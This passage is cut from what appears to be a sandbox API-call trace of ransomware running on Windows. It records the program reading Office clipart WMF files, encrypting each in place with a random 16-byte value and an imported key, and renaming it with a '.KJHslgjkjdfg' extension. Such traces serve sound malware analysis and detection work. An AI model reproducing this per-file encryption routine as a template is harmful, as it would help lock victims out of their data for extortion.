pdwDataLen=0x290f258*=0x40) returned 1 [0186.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.857] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdda, lpOverlapped=0x0) returned 1 [0186.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xde0, dwBufLen=0xde0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xde0) returned 1 [0186.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.857] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xde0, lpOverlapped=0x0) returned 1 [0186.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.857] SetEndOfFile (hFile=0x114) returned 1 [0186.859] GetProcessHeap () returned 0x2a0000 [0186.859] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.859] GetProcessHeap () returned 0x2a0000 [0186.859] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.kjhslgjkjdfg")) returned 1 [0186.861] CloseHandle (hObject=0x114) returned 1 [0186.861] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0186.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.862] GetProcessHeap () returned 0x2a0000 [0186.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.862] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.862] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.864] GetProcessHeap () returned 0x2a0000 [0186.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.864] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.864] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.864] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.864] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.864] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.864] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23d4, lpOverlapped=0x0) returned 1 [0186.865] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23e0) returned 1 [0186.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x23e0, lpOverlapped=0x0) returned 1 [0186.866] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.866] SetEndOfFile (hFile=0x114) returned 1 [0186.868] GetProcessHeap () returned 0x2a0000 [0186.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.868] GetProcessHeap () returned 0x2a0000 [0186.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.kjhslgjkjdfg")) returned 1 [0186.871] CloseHandle (hObject=0x114) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0186.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.872] GetProcessHeap () returned 0x2a0000 [0186.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.872] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.872] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.874] GetProcessHeap () returned 0x2a0000 [0186.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.874] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.875] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.875] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.875] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.875] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fc4, lpOverlapped=0x0) returned 1 [0186.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0) returned 1 [0186.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.877] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1fd0, lpOverlapped=0x0) returned 1 [0186.877] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.877] SetEndOfFile (hFile=0x114) returned 1 [0186.879] GetProcessHeap () returned 0x2a0000 [0186.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.879] GetProcessHeap () returned 0x2a0000 [0186.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.kjhslgjkjdfg")) returned 1 [0186.880] CloseHandle (hObject=0x114) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0186.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.881] GetProcessHeap () returned 0x2a0000 [0186.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.881] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0186.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.884] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.884] GetProcessHeap () returned 0x2a0000 [0186.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.884] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.884] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.884] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.885] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.885] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x75e2, lpOverlapped=0x0) returned 1 [0186.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x75f0, dwBufLen=0x75f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x75f0) returned 1 [0186.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.886] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x75f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x75f0, lpOverlapped=0x0) returned 1 [0186.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x76c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.886] SetEndOfFile (hFile=0x114) returned 1 [0186.888] GetProcessHeap () returned 0x2a0000 [0186.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.888] GetProcessHeap () returned 0x2a0000 [0186.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.kjhslgjkjdfg")) returned 1 [0186.890] CloseHandle (hObject=0x114) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0186.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.891] GetProcessHeap () returned 0x2a0000 [0186.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.891] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0186.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.893] GetProcessHeap () returned 0x2a0000 [0186.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.893] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.894] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, 